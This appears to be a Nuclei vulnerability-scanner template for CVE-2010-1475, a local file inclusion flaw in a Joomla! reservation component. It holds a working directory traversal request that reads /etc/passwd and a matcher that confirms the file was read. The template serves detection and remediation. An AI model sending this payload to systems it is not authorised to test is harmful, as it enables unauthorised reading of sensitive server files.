id: CVE-2010-1475

info:
  name: Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Preventive & Reservation (com_preventive) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The LFI vulnerability can allow an attacker to read arbitrary files on the server, potentially exposing sensitive information or executing malicious code.
  remediation: |
    Update to the latest version of Joomla! Component Preventive And Reservation and apply any available patches or fixes to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12147
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1475
    - http://www.exploit-db.com/exploits/12147
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57652
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1475
    cwe-id: CWE-22
    epss-score: 0.01242
    epss-percentile: 0.83996
    cpe: cpe:2.3:a:ternaria:com_preventive:1.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ternaria
    product: com_preventive
  tags: cve,cve2010,edb,joomla,lfi,ternaria

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b79b632e011312d4f390807f69c5a574e87dd7c7f8e5645c0084a40ac2aaf84a0220638374eeade62a6c858f74603e82a9ff1c3f522a73e5268cfce3425a2bd72ae6:922c64590222798bb761d5b6d8e72950